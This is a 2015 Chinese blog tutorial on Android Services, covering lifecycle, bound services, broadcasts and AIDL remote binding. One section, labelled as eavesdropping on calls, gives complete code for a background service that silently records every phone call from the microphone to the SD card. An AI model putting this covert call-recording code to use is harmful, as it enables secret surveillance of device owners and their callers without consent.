服务基础与进阶

服务基础一

xml文件:

    <Button

            android:onClick="start"

            android:layout_width="fill_parent"

            android:layout_height="wrap_content"

            android:text="启动" />

 

    <Button

        android:onClick="stop"

        android:layout_marginTop="10dip"

        android:layout_width="fill_parent"

        android:layout_height="wrap_content"

        android:text="停止" />

 

创建一个继承自TestService的服务类:

    public class TestService extends Service {

        @Override

        public IBinder onBind(Intent arg0) {       

            return null;

        }

        @Override

        public void onCreate() {

            System.out.println("onCreate");

            super.onCreate();

        }

        @Override

        public void onDestroy() {

            System.out.println("onDestroy");

            super.onDestroy();

        }

        @Override

        @Deprecated

        public void onStart(Intent intent, int startId) {

            System.out.println("onStart");

            super.onStart(intent, startId);

        }

        @Override

        public int onStartCommand(Intent intent, int flags, int startId) {

            System.out.println("onStartCommand");

            return super.onStartCommand(intent, flags, startId);

        }

    }

 

在清单文件中声明服务:

    <service android:name=".TestService"></service>

 

回到MainActivity源文件:

    public void start(View view){

        Intent intent = new Intent(this, TestService.class);

        startService(intent);

       

    }

   

    public void stop(View view){

        Intent intent = new Intent(this, TestService.class);

        stopService(intent);

       

    }

 

 

由以上程序可知:服务只会被创建一次 如果服务已经创建了 并且没有销毁

多次调用 startService的方法 只会执行 onStartCommand() 和onStart()方法

 

服务停止

1.stopService()

2.程序管理器 手工的停止掉服务

 

 

 

使用服务窃听电话

项目中创建一个继承自Service的类PhoneStatusService:

    public class PhoneStatusService extends Service {       

        /**

         *长期在后台运行的组件,如果用户不手动的关闭,不会停止的

         */

        @Override

        public IBinder onBind(Intent arg0) {           

            return null;

        }

        @Override

        public void onCreate() {

            super.onCreate();

            Log.e("onCreate:", "服务被创建");

            System.out.println("服务被创建");

            //监听用户电话状态变化

            //电话管理器 电话管理服务

            TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);

            //监听手机的通话状态的变化

            tm.listen(new MyPhoneStatusLinstener(), PhoneStateListener.LISTEN_CALL_STATE);

        }       

        @SuppressWarnings("unused")

        private class MyPhoneStatusLinstener extends PhoneStateListener{           

            MediaRecorder recorder;           

            @Override

            public void onCallStateChanged(int state, String incomingNumber) {               

                try{

                    switch (state) {

                    case TelephonyManager.CALL_STATE_IDLE://空闲状态,没有通话没有铃声

                        if(recorder!=null){

                            recorder.stop();

                            recorder.reset();

                            recorder.release();

                            recorder = null;

                        }              

                        break;

                    case TelephonyManager.CALL_STATE_RINGING://响铃状态

                        /*System.out.println("发现来电号码:"+ incomingNumber);

                        if("666".equals(incomingNumber)){

                            System.out.println("挂断电话。。。");

                        }*/

                       

                        //1.创建出来一个录音机

                        recorder = new MediaRecorder();

                        //设置录制的音频 从话筒里面获取声音

                        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

                        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

                        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

                        recorder.setOutputFile("/sdcard/"+System.currentTimeMillis()+".3gp");

                        recorder.prepare();                       

                        break;

                    case TelephonyManager.CALL_STATE_OFFHOOK://通话状态

                        if(recorder != null){

                            recorder.start();

                        }                       

                        break;

                    }

                }catch(Exception e){e.printStackTrace();}               

                super.onCallStateChanged(state, incomingNumber);                

            }              

        }

        @Override

        public void onDestroy() {

            super.onDestroy();

            Log.e("onDestroy:", "服务被销毁");

            System.out.println("服务被销毁");

        }       

    }

 

    清单文件中声明服务:

    在application中添加:<service android:name=".PhoneStatusService"></service>

    因为涉及到读取电话状态、调用系统得录音机、操作SDCARD,所以要添加一下权限:

    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>

    <uses-permission android:name="android.permission.RECORD_AUDIO"/>

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

 

再在应用启动的时候开启服务:

    @Override

        protected void onCreate(Bundle savedInstanceState) {

            super.onCreate(savedInstanceState);

            setContentView(R.layout.activity_main);

           

            //开启服务

            Intent intent = new Intent(this, PhoneStatusService.class);

            startService(intent);       

        }

 

 

 

进程与应用程序

    应用程序:一组组件(activity service provider receiver)的集合。

    一般情况下 一个应用程序 会对应一个 进程

    一般情况下 关闭掉应用。(关闭掉所有的界面,关闭所有的activity)。

    应用程序的进程 是不会被关闭的 仍然在后台长期的运行。

 

采用一组策略 帮助我们自动的管理进程。

进程 按照优先级分别为不同的等级:

1. 前台进程    用户可以看到这个进程里面某一个activity的界面,可以操作这个界面。

2. 可见进程    用户仍然可以看到这个进程  某个activity的界面,但是不可以操作这个界面。

3. 服务进程    如果一个应用程序 有一个服务在后台运行。

4. 后台进程    没有任何服务的进程 打开一个activity之后 按下home键 最小化

5. 空进程        没有任何活动组件 存在的进程。

 

new thread(){}.start();线程运行在进程中,要是进程不在线程就不在了。

 

 

服务运行的流程

 

    本实例主要讲的是服务的绑定,我们不能通过实例化服务类来直接的访问服务类中的其他方法,

所以只能通过绑定服务来间接的访问到我们需要的方法。

    新建一个xml文件:

 

<Button

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:onClick="start"

        android:text="开启服务" />

 

    <Button

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:onClick="stop"

        android:text="停止服务" />

 

    <Button

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:onClick="bind"

        android:text="绑定服务" />

 

    <Button

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:onClick="change"

        android:text="调用服务里的方法" />

 

    创建一个接口,用来代理服务类中的方法:

    //美女代理人的接口

    public interface IService {

        public void changeTiaoWu(String twName);

    }

 

 

    创建一个继承自Service的服务类:

    public class MeiNvService extends Service {

 

            @Override

            public IBinder onBind(Intent arg0) {

                System.out.println("美女服务被绑定了...");

                // 步骤2:服务在成功绑定的时候 会调用onbind方法返回一个ibinder对象

                // 返回自定义的代理人对象

                return new MyBinder();

            }

 

            private class MyBinder extends Binder implements IService {

 

                public void yueMeiNvKanDianYing() {

 

                }

 

                public void yueMeiNvYouYong() {

 

                }

 

                @Override

                public void changeTiaoWu(String twName) {

                    // 简介的利用代理人 调用了美女的方法

                    callTiaoWu(twName);

 

                }

 

            }

 

            @Override

            public void onCreate() {

                super.onCreate();

 

                System.out.println("服务开始了,美女开始跳舞了。。。");

            }

 

            // 更改跳舞

            public void callTiaoWu(String twName) {

                // 步骤5:利用 ibinder 对象间接的调用了服务里面的方法

                Toast.makeText(getApplicationContext(), "开始跳舞" + twName, 0).show();

 

            }

 

            @Override

            public void onDestroy() {

                super.onDestroy();

 

                System.out.println("服务销毁了,美女停止了跳舞!");

            }

 

    }

 

 

    在MainActivity中:

    //步骤4:在 activity 里面得到服务 ibinder 对象的引用

    private IService myBinder;

   

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

       

       

    }

   

    //开启服务

    public void start(View view){

        Intent intent = new Intent(this, MeiNvService.class);

        startService(intent);

    }

   

    //停止服务

    public void stop(View view){

        Intent intent = new Intent(this, MeiNvService.class);

        stopService(intent);

       

    }

   

    //调用服务里面的方法,换一只舞

    public void change(View view){

        myBinder.changeTiaoWu("钢管舞");

       

    }

   

    public void bind(View view){

        Intent intent = new Intent(this, MeiNvService.class);

        //intent 激活服务的意图

        //conn 代理中间人对象 用来跟服务简历联系不能为空

        //BIND_AUTO_CREATE 在绑定服务的时候如果服务不存在就自动的创建

        //步骤1:采用绑定服务的方式 开启服务

        bindService(intent, new MyConn(), BIND_AUTO_CREATE);

       

    }

   

    private class MyConn implements ServiceConnection{

   

        //在服务被成功绑定的时候调用的方法     

        @Override

        public void onServiceConnected(ComponentName name, IBinder service) {

            System.out.println("美女把代理人返回回来了...");

            //步骤3:服务返回的 ibinder 对象会被传递给 MyConn的回调方法

            myBinder = (IService) service;

           

        }

 

        //在服务失去绑定的时候调用的方法 只有程序异常终止

        @Override

        public void onServiceDisconnected(ComponentName name) {

           

           

        }  

       

    }

 

    记得最后在清单文件的application中声明服务:

    <service android:name=".MeiNvService"></service>

 

 

    为能更好的观察到服务的混合开启,在程序中可添加一下几个方法:

 

    在MainActivity中:

    //解除绑定服务的方法

    public void unbind(View view){

        unbindService(conn); //解绑的是MyConn的对象

    }

 

    为退出程序也能解绑服务通常在onDestroy里添加解绑方法:

    protected void onDestroy(){

        //因为解除绑定只能解除一次,要是先按解除绑定在按回退键的话log中会产生一片红,为防止这样的情况产生,可添加try

        try{

            unbindService(conn);

        }catch(Exception e){

 

        }

        super.onDestroy();

    }

 

 

    在服务类中:

    public boolean onUnbind(Intent intent){

        System.out.println("onUnbind");

        return super.onUnbind(intent);

    }

 

 

    总结:

    1.后台长期运行的组件。

    startService();

    stopService();

 

    bindService()绑定服务    可以得到服务的代理人对象,间接调用服务里面的方法。

 

    绑定服务:间接调用服务里面的方法。

                    如果调用者activity被销毁了,服务也会跟着销毁

                    (不求同生,但求同时挂)

 

    开启服务:不可以调用服务里面的方法。

                    如果调用者activity退出了,服务还会长期的在后台运行

 

    需求:既要保证服务长期的后台运行,又想去调用服务里面的方法。

    技巧:1.先开启服务  2.绑定服务

 

    步骤:1.开启服务 startService() - onCreate();

              2.绑定服务 bindService() - onBind();

              3.关闭程序,调用者退出,服务被解绑。

              4.stopService() 停止服务。

 

    生命周期:

    1.单独调用  startService() - onCreate();

                      stopService() - onDestroy();

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                      bind -> onCreate -> onBind

                      unbind -> onUnbind -> onDestroy

                      服务职能被解绑一次,多次的解除绑定服务 应用户会报错。

 

 

 

除了可以用绑定的方法调用服务的方法外还可以用广播来实现。

xml文件:

    <Button

            android:onClick="call"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:layout_centerHorizontal="true"

            android:layout_centerVertical="true"

            android:text="调用服务的方法" />

 

 

创建一个继承自Service的服务类:

        public class MyService extends Service {   

            private MyReceiver receiver;

            @Override

            public IBinder onBind(Intent arg0) {       

                return null;

            }   

            @Override

            public void onCreate() {

                //采用代码的方式注册一个广播接收者

                receiver = new MyReceiver();

                IntentFilter filter = new IntentFilter();

                filter.addAction("com.lcy.callmethod");

                registerReceiver(receiver, filter);

                super.onCreate();

            }   

            private void methodInservice(){

                Toast.makeText(this, "我是服务的方法", 1).show();       

            }   

            @Override

            public void onDestroy() {

                unregisterReceiver(receiver);

                receiver = null;

                super.onDestroy();

            }   

            private class MyReceiver extends BroadcastReceiver{

                @Override

                public void onReceive(Context arg0, Intent arg1) {

                    System.out.println("我是service内部的广播接收者");

                    methodInservice();

                }      

            }

        }

 

在配置文件中配置服务类:

<service android:name="com.ex.broadcastreceiveandservice.MyService"></service>

 

在MainActivity类中:

        public class MainActivity extends Activity {

            @Override

            protected void onCreate(Bundle savedInstanceState) {

                super.onCreate(savedInstanceState);

                setContentView(R.layout.activity_main);               

                Intent intent = new Intent(this, MyService.class);

                startService(intent);               

            }           

            public void call(View view){

                //发送一个自定义的广播

                Intent intent = new Intent();

                intent.setAction("com.lcy.callmethod");

                sendBroadcast(intent);               

            }

        }

 

/**

 * 四大组件:特定  都是要在清单文件配置

 * activity 界面      用户交互的UI

 * service  后台运行的   没有界面        长期后台存在  提高应用程序进程的优先级

 * broadcast    receiver    接收系统的广播事件   自定义一些广播(可以通过代码方式注册,也可以通过清单文件注册)。

 * content provider     把自己私有的数据    暴露给别的应用程序。

 */

 

 

********************************************************************************************************

 

 

    采用aidl绑定远程服务:

    aidl:android  interface  definition  language       Andrid 接口定义语言

    IPC:inter  process  communication       进程间通讯

 

~~~~~~~~~~~~~远程绑定服务的流程~~~~~~~~~~~~~~~~~~~~

1.在activity 调用 bindService() 去绑定服务

    bindService(intent, new MyConn(), BIND_AUTO_CREATE);

 

    需要传递一个叫 ServiceConntion 的接口参数

    用来返回两个回调    当服务被成功绑定

                                    当服务失去连接

 

2.在服务里需要重写方法    onBind()    在服务被绑定的时候调用返回一个IBinder接口  对象(代理人) 接口定义  需要改成aidl 用自动生成的 IService.stub

代理人  必须要实现一个方法,这个方法可以调用到服务的方法。

 

3.在activity 的onServiceConnected 得到中间人  使用aidl 自动生成 IService 利用IService.stub.asInterface();

 

4.调用中间人的方法

 

5.中间人调用服务的方法

 

 

模拟支付宝在线支付服务:

首先创建一个MyAliPayService项目:

 

先创建一个接口:

 

    interface IService {

        void callMethodInService();

    }

 

为使这个接口能在不同的应用中得到共享,把它的文件扩展名改为 .aidl

 

 

再创建一个服务类:

    public class AliPayService extends Service {

        @Override

        public IBinder onBind(Intent arg0) {

            System.out.println("远程支付服务:onBind");

            return new MyBinder();

        }

        private class MyBinder extends IService.Stub{

            @Override

            public void callMethodInService() {

                methodInService();               

            }      

        }       

        private void methodInService(){

            System.out.println("我是远程支付宝的服务,用来支付");           

        }       

        @Override

        public void onCreate() {

            System.out.println("远程支付服务:onCreate");

            super.onCreate();

        }

        @Override

        public void onDestroy() {

            System.out.println("远程支付服务:onDestroy");

            super.onDestroy();

        }

        @Override

        public boolean onUnbind(Intent intent) {

            System.out.println("远程支付服务:onUnbind");

            return super.onUnbind(intent);

        }

    }

 

在清单文件中配置服务类:

    <service android:name="com.ex.myalipayservice.AliPayService">

            <intent-filter >

                <action android:name="com.lcy.alipay"/>

            </intent-filter>

        </service>

 

 

再另常见一个项目MyYouXi:

xml文件:

    <Button

        android:onClick="bind"

        android:id="@+id/btn1"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="绑定到远程服务" />

   

    <Button

        android:onClick="call"

        android:layout_below="@id/btn1"

        android:layout_marginTop="10dip"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="调用远程服务方法" />

 

把aidl中的文件连同路径(所在的包)复制到src中:

 

在MainActivity类中:

        public class MainActivity extends Activity {           

            private Intent intent;

            private IService iService;

            @Override

            protected void onCreate(Bundle savedInstanceState) {

                super.onCreate(savedInstanceState);

                setContentView(R.layout.activity_main);                

                intent = new Intent();

                intent.setAction("com.lcy.alipay");               

            }           

            public void bind(View view){

                bindService(intent, new MyConn(), BIND_AUTO_CREATE);                

            }           

            //引入aidl的时候文件的报名一定要相同

            private class MyConn implements ServiceConnection{

                @Override

                public void onServiceConnected(ComponentName name, IBinder service) {

                    iService = IService.Stub.asInterface(service);//API提供接口强制类型转换的方法     

                }

                @Override

                public void onServiceDisconnected(ComponentName name) {

                }      

            }            

            public void call(View view){

                try {

                    iService.callMethodInService();

                } catch (RemoteException e) {

                    e.printStackTrace();

                }

            }

        }

 

posted @ 2015-11-04 23:33  飞牛冲天  阅读(111)  评论(0编辑  收藏  举报